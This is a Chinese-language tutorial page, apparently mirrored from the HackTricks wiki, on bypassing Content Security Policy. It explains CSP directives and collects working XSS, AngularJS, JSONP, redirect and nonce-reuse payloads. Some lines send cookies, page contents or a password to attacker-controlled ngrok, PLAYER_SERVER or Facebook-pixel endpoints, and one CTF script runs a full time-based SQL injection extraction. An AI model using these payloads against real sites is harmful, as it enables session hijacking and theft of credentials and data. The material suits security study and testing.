mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
738 lines
38 KiB
Markdown
738 lines
38 KiB
Markdown
# 内容安全策略 (CSP) 绕过
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## 什么是 CSP
|
||
|
||
内容安全策略 (CSP) 被认为是一种浏览器技术,主要旨在 **防御诸如跨站脚本攻击 (XSS)** 的攻击。它通过定义和详细说明浏览器可以安全加载资源的路径和来源来发挥作用。这些资源包括图像、框架和 JavaScript 等多种元素。例如,策略可能允许从同一域 (self) 加载和执行资源,包括内联资源以及通过 `eval`、`setTimeout` 或 `setInterval` 等函数执行字符串代码。
|
||
|
||
CSP 的实施通过 **响应头** 或通过将 **meta 元素嵌入 HTML 页面** 来进行。遵循此政策,浏览器主动执行这些规定,并立即阻止任何检测到的违规行为。
|
||
|
||
- 通过响应头实施:
|
||
```
|
||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||
```
|
||
- 通过 meta 标签实现:
|
||
```xml
|
||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||
```
|
||
### Headers
|
||
|
||
CSP 可以通过以下头部进行强制执行或监控:
|
||
|
||
- `Content-Security-Policy`: 强制执行 CSP;浏览器阻止任何违规行为。
|
||
- `Content-Security-Policy-Report-Only`: 用于监控;报告违规行为而不阻止它们。非常适合在预生产环境中进行测试。
|
||
|
||
### Defining Resources
|
||
|
||
CSP 限制加载主动和被动内容的来源,控制诸如内联 JavaScript 执行和使用 `eval()` 等方面。一个示例策略是:
|
||
```bash
|
||
default-src 'none';
|
||
img-src 'self';
|
||
script-src 'self' https://code.jquery.com;
|
||
style-src 'self';
|
||
report-uri /cspreport
|
||
font-src 'self' https://addons.cdn.mozilla.net;
|
||
frame-src 'self' https://ic.paypal.com https://paypal.com;
|
||
media-src https://videos.cdn.mozilla.net;
|
||
object-src 'none';
|
||
```
|
||
### 指令
|
||
|
||
- **script-src**: 允许特定来源的JavaScript,包括URL、内联脚本和由事件处理程序或XSLT样式表触发的脚本。
|
||
- **default-src**: 设置在缺少特定获取指令时获取资源的默认策略。
|
||
- **child-src**: 指定允许的Web工作者和嵌入框架内容的资源。
|
||
- **connect-src**: 限制可以使用fetch、WebSocket、XMLHttpRequest等接口加载的URL。
|
||
- **frame-src**: 限制框架的URL。
|
||
- **frame-ancestors**: 指定可以嵌入当前页面的来源,适用于`<frame>`、`<iframe>`、`<object>`、`<embed>`和`<applet>`等元素。
|
||
- **img-src**: 定义允许的图像来源。
|
||
- **font-src**: 指定使用`@font-face`加载的字体的有效来源。
|
||
- **manifest-src**: 定义应用程序清单文件的允许来源。
|
||
- **media-src**: 定义加载媒体对象的允许来源。
|
||
- **object-src**: 定义`<object>`、`<embed>`和`<applet>`元素的允许来源。
|
||
- **base-uri**: 指定使用`<base>`元素加载的允许URL。
|
||
- **form-action**: 列出表单提交的有效端点。
|
||
- **plugin-types**: 限制页面可以调用的mime类型。
|
||
- **upgrade-insecure-requests**: 指示浏览器将HTTP URL重写为HTTPS。
|
||
- **sandbox**: 应用类似于`<iframe>`的sandbox属性的限制。
|
||
- **report-to**: 指定如果违反政策将发送报告的组。
|
||
- **worker-src**: 指定Worker、SharedWorker或ServiceWorker脚本的有效来源。
|
||
- **prefetch-src**: 指定将被获取或预获取的资源的有效来源。
|
||
- **navigate-to**: 限制文档可以通过任何方式导航的URL(a、form、window.location、window.open等)。
|
||
|
||
### 来源
|
||
|
||
- `*`: 允许所有URL,除了具有`data:`、`blob:`、`filesystem:`方案的URL。
|
||
- `'self'`: 允许从同一域加载。
|
||
- `'data'`: 允许通过数据方案加载资源(例如,Base64编码的图像)。
|
||
- `'none'`: 阻止从任何来源加载。
|
||
- `'unsafe-eval'`: 允许使用`eval()`和类似方法,出于安全原因不推荐使用。
|
||
- `'unsafe-hashes'`: 启用特定的内联事件处理程序。
|
||
- `'unsafe-inline'`: 允许使用内联资源,如内联`<script>`或`<style>`,出于安全原因不推荐使用。
|
||
- `'nonce'`: 使用加密nonce(一次性使用的数字)对特定内联脚本的白名单。
|
||
- 如果您有JS限制执行,可以通过`doc.defaultView.top.document.querySelector("[nonce]")`获取页面内使用的nonce,然后重用它加载恶意脚本(如果使用了strict-dynamic,任何允许的来源都可以加载新来源,因此这不是必需的),如在:
|
||
|
||
<details>
|
||
|
||
<summary>重用nonce加载脚本</summary>
|
||
```html
|
||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||
<img
|
||
src="x"
|
||
ng-on-error='
|
||
doc=$event.target.ownerDocument;
|
||
a=doc.defaultView.top.document.querySelector("[nonce]");
|
||
b=doc.createElement("script");
|
||
b.src="//example.com/evil.js";
|
||
b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||
```
|
||
</details>
|
||
|
||
- `'sha256-<hash>'`: 允许特定 sha256 哈希的脚本。
|
||
- `'strict-dynamic'`: 如果通过 nonce 或哈希被列入白名单,则允许从任何来源加载脚本。
|
||
- `'host'`: 指定特定主机,例如 `example.com`。
|
||
- `https:`: 限制 URL 仅使用 HTTPS。
|
||
- `blob:`: 允许从 Blob URL 加载资源(例如,通过 JavaScript 创建的 Blob URL)。
|
||
- `filesystem:`: 允许从文件系统加载资源。
|
||
- `'report-sample'`: 在违规报告中包含违规代码的示例(对调试有用)。
|
||
- `'strict-origin'`: 类似于 'self',但确保源的协议安全级别与文档匹配(只有安全源可以从安全源加载资源)。
|
||
- `'strict-origin-when-cross-origin'`: 在进行同源请求时发送完整 URL,但在跨源请求时仅发送源。
|
||
- `'unsafe-allow-redirects'`: 允许加载会立即重定向到另一个资源的资源。不推荐使用,因为这会削弱安全性。
|
||
|
||
## 不安全的 CSP 规则
|
||
|
||
### 'unsafe-inline'
|
||
```yaml
|
||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||
```
|
||
有效的有效载荷: `"/><script>alert(1);</script>`
|
||
|
||
#### self + 'unsafe-inline' 通过 Iframes
|
||
|
||
{{#ref}}
|
||
csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||
{{#endref}}
|
||
|
||
### 'unsafe-eval'
|
||
|
||
> [!CAUTION]
|
||
> 这不起作用,更多信息请[**查看此处**](https://github.com/HackTricks-wiki/hacktricks/issues/653)。
|
||
```yaml
|
||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||
```
|
||
有效载荷:
|
||
```html
|
||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
||
```
|
||
### strict-dynamic
|
||
|
||
如果你能以某种方式使一个**被允许的 JS 代码创建一个新的 script 标签**在 DOM 中,并且是由一个被允许的脚本创建的,那么**新的 script 标签将被允许执行**。
|
||
|
||
### Wildcard (\*)
|
||
```yaml
|
||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||
```
|
||
有效载荷:
|
||
```markup
|
||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||
```
|
||
### 缺少 object-src 和 default-src
|
||
|
||
> [!CAUTION] > **看起来这不再有效**
|
||
```yaml
|
||
Content-Security-Policy: script-src 'self' ;
|
||
```
|
||
有效的有效载荷:
|
||
```markup
|
||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||
<param name="AllowScriptAccess" value="always"></object>
|
||
```
|
||
### 文件上传 + 'self'
|
||
```yaml
|
||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||
```
|
||
如果您可以上传一个 JS 文件,您可以绕过这个 CSP:
|
||
|
||
工作有效载荷:
|
||
```markup
|
||
"/>'><script src="/uploads/picture.png.js"></script>
|
||
```
|
||
然而,服务器**正在验证上传的文件**,只会允许您**上传特定类型的文件**。
|
||
|
||
此外,即使您能够使用服务器接受的扩展名(如:_script.png_)在文件中上传**JS代码**,这也不够,因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**,而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如,从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名,因此它不会以**MIME类型如audio/***提供它。
|
||
|
||
从这里开始,如果您发现了XSS和文件上传,并且您设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多重格式文件([这里有一些多重格式示例](https://github.com/Polydet/polyglot-database))。
|
||
|
||
### Form-action
|
||
|
||
如果无法注入JS,您仍然可以尝试通过**注入表单操作**来提取例如凭据(并可能期望密码管理器自动填充密码)。您可以在[**此报告中找到一个示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。此外,请注意`default-src`不涵盖表单操作。
|
||
|
||
### 第三方端点 + ('unsafe-eval')
|
||
|
||
> [!WARNING]
|
||
> 对于以下某些有效负载,**`unsafe-eval`甚至不需要**。
|
||
```yaml
|
||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||
```
|
||
加载一个易受攻击的 Angular 版本并执行任意 JS:
|
||
```xml
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||
|
||
|
||
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
|
||
|
||
|
||
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
|
||
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
|
||
|
||
|
||
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
|
||
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
|
||
<iframe/ng-app/ng-csp/srcdoc="
|
||
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
|
||
</script>
|
||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||
>
|
||
```
|
||
#### 使用 Angular + 一个返回 `window` 对象的函数库的有效载荷 ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||
|
||
> [!NOTE]
|
||
> 该帖子显示您可以 **加载** 来自 `cdn.cloudflare.com`(或任何其他允许的 JS 库库)的所有 **库**,执行每个库中添加的所有函数,并检查 **哪些库中的哪些函数返回 `window` 对象**。
|
||
```markup
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||
<div ng-app ng-csp>
|
||
{{$on.curry.call().alert(1)}}
|
||
{{[].empty.call().alert([].empty.call().document.domain)}}
|
||
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
|
||
</div>
|
||
|
||
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
|
||
<div ng-app ng-csp>
|
||
{{$on.curry.call().alert('xss')}}
|
||
</div>
|
||
|
||
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
|
||
<div ng-app ng-csp>
|
||
{{[].erase.call().alert('xss')}}
|
||
</div>
|
||
```
|
||
Angular XSS 从类名:
|
||
```html
|
||
<div ng-app>
|
||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||
</div>
|
||
```
|
||
#### 滥用 Google reCAPTCHA JS 代码
|
||
|
||
根据 [**这篇 CTF 文章**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves),您可以在 CSP 内部滥用 [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) 来执行任意 JS 代码,从而绕过 CSP:
|
||
```html
|
||
<div
|
||
ng-controller="CarouselController as c"
|
||
ng-init="c.init()"
|
||
>
|
||
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
|
||
<div carousel><div slides></div></div>
|
||
|
||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||
```
|
||
更多 [**来自此文档的有效载荷**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||
```html
|
||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||
|
||
<!-- Trigger alert -->
|
||
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
|
||
|
||
<!-- Reuse nonce -->
|
||
<img
|
||
src="x"
|
||
ng-on-error='
|
||
doc=$event.target.ownerDocument;
|
||
a=doc.defaultView.top.document.querySelector("[nonce]");
|
||
b=doc.createElement("script");
|
||
b.src="//example.com/evil.js";
|
||
b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||
```
|
||
#### 利用 www.google.com 进行开放重定向
|
||
|
||
以下 URL 重定向到 example.com (来自 [这里](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||
```
|
||
https://www.google.com/amp/s/example.com/
|
||
```
|
||
滥用 \*.google.com/script.google.com
|
||
|
||
可以滥用 Google Apps Script 在 script.google.com 内的页面接收信息。就像在[这份报告中](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)所做的那样。
|
||
|
||
### 第三方端点 + JSONP
|
||
```http
|
||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||
```
|
||
像这样的场景,其中 `script-src` 设置为 `self` 和一个特定的白名单域,可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法,这使得攻击者能够执行 XSS,工作有效载荷:
|
||
```markup
|
||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||
```
|
||
|
||
```html
|
||
https://www.youtube.com/oembed?callback=alert;
|
||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||
```
|
||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **包含可用于不同网站的CSP绕过的现成JSONP端点。**
|
||
|
||
如果**受信任的端点包含开放重定向**,则会发生相同的漏洞,因为如果初始端点是受信任的,则重定向也是受信任的。
|
||
|
||
### 第三方滥用
|
||
|
||
如[以下帖子](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)所述,许多第三方域名可能在CSP中被允许,可以被滥用以提取数据或执行JavaScript代码。这些第三方中的一些是:
|
||
|
||
| 实体 | 允许的域名 | 能力 |
|
||
| ----------------- | ------------------------------------------ | ------------ |
|
||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||
|
||
如果您在目标的CSP中发现任何允许的域名,您可能能够通过在第三方服务上注册来绕过CSP,并将数据提取到该服务或执行代码。
|
||
|
||
例如,如果您发现以下CSP:
|
||
```
|
||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||
```
|
||
或
|
||
```
|
||
Content-Security-Policy: connect-src www.facebook.com;
|
||
```
|
||
您应该能够提取数据,类似于使用 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 一直以来的做法。在这种情况下,您可以遵循以下一般步骤:
|
||
|
||
1. 在此处创建一个 Facebook 开发者帐户。
|
||
2. 创建一个新的“Facebook 登录”应用并选择“网站”。
|
||
3. 转到“设置 -> 基本”,获取您的“应用 ID”。
|
||
4. 在您想要提取数据的目标网站中,您可以通过直接使用 Facebook SDK 小工具“fbq”通过“customEvent”和数据负载来提取数据。
|
||
5. 转到您的应用“事件管理器”,选择您创建的应用(请注意,事件管理器可以在类似于此的 URL 中找到:https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)。
|
||
6. 选择“测试事件”选项卡,以查看“您的”网站发送的事件。
|
||
|
||
然后,在受害者一侧,您执行以下代码以初始化 Facebook 跟踪像素,指向攻击者的 Facebook 开发者帐户应用 ID,并发出如下自定义事件:
|
||
```JavaScript
|
||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||
fbq('trackCustom', 'My-Custom-Event',{
|
||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||
});
|
||
```
|
||
至于前表中指定的其他七个第三方域,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。
|
||
|
||
### 通过 RPO(相对路径覆盖)绕过 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||
|
||
除了上述重定向以绕过路径限制外,还有一种称为相对路径覆盖(RPO)的技术可以在某些服务器上使用。
|
||
|
||
例如,如果 CSP 允许路径 `https://example.com/scripts/react/`,则可以通过以下方式绕过:
|
||
```html
|
||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||
```
|
||
浏览器最终将加载 `https://example.com/scripts/angular/angular.js`。
|
||
|
||
这有效是因为对于浏览器来说,您正在加载一个名为 `..%2fangular%2fangular.js` 的文件,该文件位于 `https://example.com/scripts/react/` 下,这符合 CSP。
|
||
|
||
∑,它们将解码它,有效地请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`。
|
||
|
||
通过 **利用浏览器和服务器之间 URL 解释的不一致性,可以绕过路径规则**。
|
||
|
||
解决方案是确保服务器端不将 `%2f` 视为 `/`,以确保浏览器和服务器之间的一致解释,从而避免此问题。
|
||
|
||
在线示例:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||
|
||
### Iframes JS 执行
|
||
|
||
{{#ref}}
|
||
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
|
||
{{#endref}}
|
||
|
||
### 缺少 **base-uri**
|
||
|
||
如果缺少 **base-uri** 指令,您可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/index.html)。
|
||
|
||
此外,如果 **页面使用相对路径加载脚本**(如 `<script src="/js/app.js">`)并使用 **Nonce**,您可以利用 **base** **标签** 使其 **从您自己的服务器加载** 脚本,从而实现 XSS。\
|
||
如果易受攻击的页面是通过 **httpS** 加载的,请在 base 中使用 httpS URL。
|
||
```html
|
||
<base href="https://www.attacker.com/" />
|
||
```
|
||
### AngularJS 事件
|
||
|
||
一个特定的政策称为内容安全政策 (CSP) 可能会限制 JavaScript 事件。然而,AngularJS 引入了自定义事件作为替代。在事件中,AngularJS 提供了一个独特的对象 `$event`,引用原生浏览器事件对象。这个 `$event` 对象可以被利用来绕过 CSP。值得注意的是,在 Chrome 中,`$event/event` 对象具有一个 `path` 属性,包含一个对象数组,涉及事件的执行链,`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。
|
||
|
||
通过将这个数组传递给 `orderBy` 过滤器,可以对其进行迭代,利用终端元素(`window` 对象)触发一个全局函数,如 `alert()`。下面的代码片段阐明了这个过程:
|
||
```xml
|
||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||
```
|
||
该代码片段强调了使用 `ng-focus` 指令触发事件,利用 `$event.path|orderBy` 操作 `path` 数组,并利用 `window` 对象执行 `alert()` 函数,从而揭示 `document.cookie`。
|
||
|
||
**在** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) **中查找其他 Angular 绕过方法**
|
||
|
||
### AngularJS 和白名单域名
|
||
```
|
||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||
```
|
||
一个在 Angular JS 应用程序中为脚本加载列入白名单的 CSP 策略可以通过调用回调函数和某些易受攻击的类来绕过。有关此技术的更多信息,请参阅此 [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) 中的详细指南。
|
||
|
||
有效的有效载荷:
|
||
```html
|
||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||
|
||
<!-- no longer working -->
|
||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||
```
|
||
其他 JSONP 任意执行端点可以在 [**这里**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) 找到(其中一些已被删除或修复)
|
||
|
||
### 通过重定向绕过
|
||
|
||
当 CSP 遇到服务器端重定向时会发生什么?如果重定向导致到一个不被允许的不同源,它仍然会失败。
|
||
|
||
然而,根据 [CSP 规范 4.2.2.3. 路径和重定向](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) 中的描述,如果重定向导致到一个不同的路径,它可以绕过原始限制。
|
||
|
||
这是一个例子:
|
||
```html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<head>
|
||
<meta
|
||
http-equiv="Content-Security-Policy"
|
||
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||
</head>
|
||
<body>
|
||
<div id="userContent">
|
||
<script src="https://https://www.google.com/test"></script>
|
||
<script src="https://https://www.google.com/a/test"></script>
|
||
<script src="http://localhost:5555/301"></script>
|
||
</div>
|
||
</body>
|
||
</html>
|
||
```
|
||
如果 CSP 设置为 `https://www.google.com/a/b/c/d`,由于路径被考虑,`/test` 和 `/a/test` 脚本将被 CSP 阻止。
|
||
|
||
然而,最终的 `http://localhost:5555/301` 将在服务器端 **重定向到 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**。由于这是一个重定向,**路径不被考虑**,因此 **脚本可以被加载**,从而绕过路径限制。
|
||
|
||
通过这种重定向,即使路径完全指定,仍然会被绕过。
|
||
|
||
因此,最佳解决方案是确保网站没有任何开放重定向漏洞,并且 CSP 规则中没有可以被利用的域。
|
||
|
||
### 通过悬挂标记绕过 CSP
|
||
|
||
阅读 [how here](../dangling-markup-html-scriptless-injection/index.html)。
|
||
|
||
### 'unsafe-inline'; img-src \*; 通过 XSS
|
||
```
|
||
default-src 'self' 'unsafe-inline'; img-src *;
|
||
```
|
||
`'unsafe-inline'` 意味着您可以在代码中执行任何脚本(XSS 可以执行代码),而 `img-src *` 意味着您可以在网页中使用来自任何资源的任何图像。
|
||
|
||
您可以通过图像提取数据来绕过此 CSP(在这种情况下,XSS 滥用一个 CSRF,其中一个可被机器人访问的页面包含 SQLi,并通过图像提取标志):
|
||
```javascript
|
||
<script>
|
||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||
Image().src='http://PLAYER_SERVER/?'+_)
|
||
</script>
|
||
```
|
||
从: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||
|
||
您还可以利用此配置来**加载插入在图像中的javascript代码**。例如,如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像**,**将其上传**到Twitter,并利用“**unsafe-inline**”来**执行**一段JS代码(作为常规XSS),该代码将**加载**该**图像**,**提取**其中的**JS**并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||
|
||
### 使用服务工作者
|
||
|
||
服务工作者的**`importScripts`**函数不受CSP限制:
|
||
|
||
{{#ref}}
|
||
../xss-cross-site-scripting/abusing-service-workers.md
|
||
{{#endref}}
|
||
|
||
### 策略注入
|
||
|
||
**研究:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||
|
||
#### Chrome
|
||
|
||
如果您发送的**参数**被**粘贴到****策略的声明**中,那么您可以以某种方式**更改**该**策略**,使其**无效**。您可以使用以下任何绕过方法**允许脚本 'unsafe-inline'**:
|
||
```bash
|
||
script-src-elem *; script-src-attr *
|
||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||
```
|
||
因为这个指令将会**覆盖现有的 script-src 指令**。\
|
||
你可以在这里找到一个例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||
|
||
#### Edge
|
||
|
||
在 Edge 中更简单。如果你可以在 CSP 中添加这个: **`;_`** **Edge** 将会**丢弃**整个**策略**。\
|
||
例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||
|
||
### img-src \*; 通过 XSS (iframe) - 时间攻击
|
||
|
||
注意缺少指令 `'unsafe-inline'`\
|
||
这次你可以让受害者通过 **XSS** 使用一个 `<iframe` 加载一个在**你控制**下的页面。这次你将让受害者访问你想要提取信息的页面 (**CSRF**)。你无法访问页面的内容,但如果你能**控制页面加载所需的时间**,你可以提取所需的信息。
|
||
|
||
这次将会提取一个**标志**,每当通过 SQLi **正确猜测一个字符**时,**响应**由于 sleep 函数会**花费更多时间**。然后,你将能够提取标志:
|
||
```html
|
||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||
<script>
|
||
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
|
||
function gen(x) {
|
||
x = escape(x.replace(/_/g, "\\_"))
|
||
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
|
||
}
|
||
|
||
function gen2(x) {
|
||
x = escape(x)
|
||
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
|
||
}
|
||
|
||
async function query(word, end = false) {
|
||
let h = performance.now()
|
||
f.location = end ? gen2(word) : gen(word)
|
||
await new Promise((r) => {
|
||
g.onload = r
|
||
})
|
||
let diff = performance.now() - h
|
||
return diff > 300
|
||
}
|
||
|
||
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
|
||
let postfix = "}"
|
||
|
||
async function run() {
|
||
let prefix = "nn9ed{"
|
||
while (true) {
|
||
let i = 0
|
||
for (i; i < alphabet.length; i++) {
|
||
let c = alphabet[i]
|
||
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
|
||
console.log(prefix, c, t)
|
||
if (t) {
|
||
console.log("FOUND!")
|
||
prefix += c
|
||
break
|
||
}
|
||
}
|
||
if (i == alphabet.length) {
|
||
console.log("missing chars")
|
||
break
|
||
}
|
||
let t = await query(prefix + "}", true)
|
||
if (t) {
|
||
prefix += "}"
|
||
break
|
||
}
|
||
}
|
||
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
|
||
console.log(prefix)
|
||
}
|
||
|
||
run()
|
||
</script>
|
||
```
|
||
### 通过书签小程序
|
||
|
||
此攻击将涉及一些社会工程学,攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码,当被拖放或点击时,将在当前网页窗口的上下文中执行,**绕过CSP并允许窃取敏感信息**,例如cookies或tokens。
|
||
|
||
有关更多信息,请[**查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
|
||
|
||
### 通过限制CSP绕过CSP
|
||
|
||
